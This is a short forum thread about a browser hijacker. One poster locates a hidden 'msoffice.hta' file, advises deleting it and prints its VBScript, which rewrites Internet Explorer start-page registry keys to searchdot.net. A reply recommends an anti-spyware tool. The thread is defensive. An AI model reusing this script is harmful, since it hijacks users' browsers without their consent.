searchdot.net hijack fix

[SuperBobo]

The file is "msoffice.hta" in the "windows/fonts" folder. It is
hidden. Search for it at the start menu. Delete the file. That
should solve the problem. This is what's in the file:

<script language=VBS>
Set Shl = CreateObject("WScript.Shell")
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.searchdot.net"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.searchdot.net"
window.close()
</script>

Will somebody please file a class action suit against this web site?

Will S.

 

[XS11E]

(e-mail address removed) (SuperBobo) wrote in

The file is "msoffice.hta" in the "windows/fonts" folder. It is
hidden. Search for it at the start menu. Delete the file. That
should solve the problem. This is what's in the file:

If you'll download and run Spybot Search and Destroy it not only
removes spyware but allows you to lock your browser against hijacking.

http://www.safer-networking.org/

BTW, it's freeware, there's no cost to you.